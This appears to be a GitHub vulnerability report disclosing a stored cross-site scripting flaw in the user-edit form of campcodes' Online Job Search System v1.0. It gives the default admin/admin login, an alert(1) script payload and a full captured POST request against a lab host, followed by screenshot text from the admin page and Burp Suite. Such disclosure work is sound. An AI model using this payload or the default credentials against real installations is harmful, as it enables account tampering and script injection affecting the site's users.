

main

...

bug_report / vendors / campcodes.com / online-job-search-system / XSS.md



chen-liyu Update XSS.md

History

1 contributor

38 lines (27 sloc) | 1.43 KB

...

Complete Online Job Search System v1.0 by campcodes.com has Cross-Site Scripting (XSS)

Vul_Author: Liyu Chen

The password for the backend login account is: admin/admin

vendors: <https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/>

Vulnerability File: /eris/admin/user/controller.php

Vulnerability location: /eris/admin/user/controller.php?action=edit, U_NAME

[+] Payload: <script>alert(1)</script>

Tested on Windows 10, phpStudy

There is an example with alert:

```
POST /eris/admin/user/controller.php?action=edit HTTP/1.1
Host: 10.10.10.134
```

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Origin: http://10.10.10.134
DNT: 1
Connection: close
Referer: http://10.10.10.134/eris/admin/user/index.php?view=edit&id=2018001
Cookie: PHPSESSID=vf7g6ffd2s4el0u0gia3elgg14
Upgrade-Insecure-Requests: 1

USERID=2018001&deptid=&U_NAME=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&deptid=&U_USER

10.10.10.134/eris/admin/user/index.php

10.10.10.134/eris/admin/user/index.php

ERIS

Dashboard

Company

Vacancy

Employee

Applicants

Category

Manage Users

Users

Home > Users

[Chambe Narciso] has been updated!

List of Users [Add User](#)

Show 10 entries Search:

Account ID	Account Name	Username	Role	Action
00018	Campcodes	admin	Administrator	Edit Delete
2018001	Chambe Narciso	Narciso	Administrator	Edit Delete

Showing 1 to 2 of 2 entries

Previous 1 Next

Copyright © 2021 CampCodes. All rights reserved. Version 2.3.2

Burp Project Intruder Repeater Window Help Burp Suite Community Edition v2022.5.2

Dashboard Target Proxy Intruder Repeater Sequencer Decoder

Extender Project options User options Learn

Intercept HTTP history WebSockets history Options



HTTP history is empty

This displays the history of all HTTP traffic sent between Burp's browser and your target applications, even while intercept is switched off.

[Learn more](#) [Open browser](#)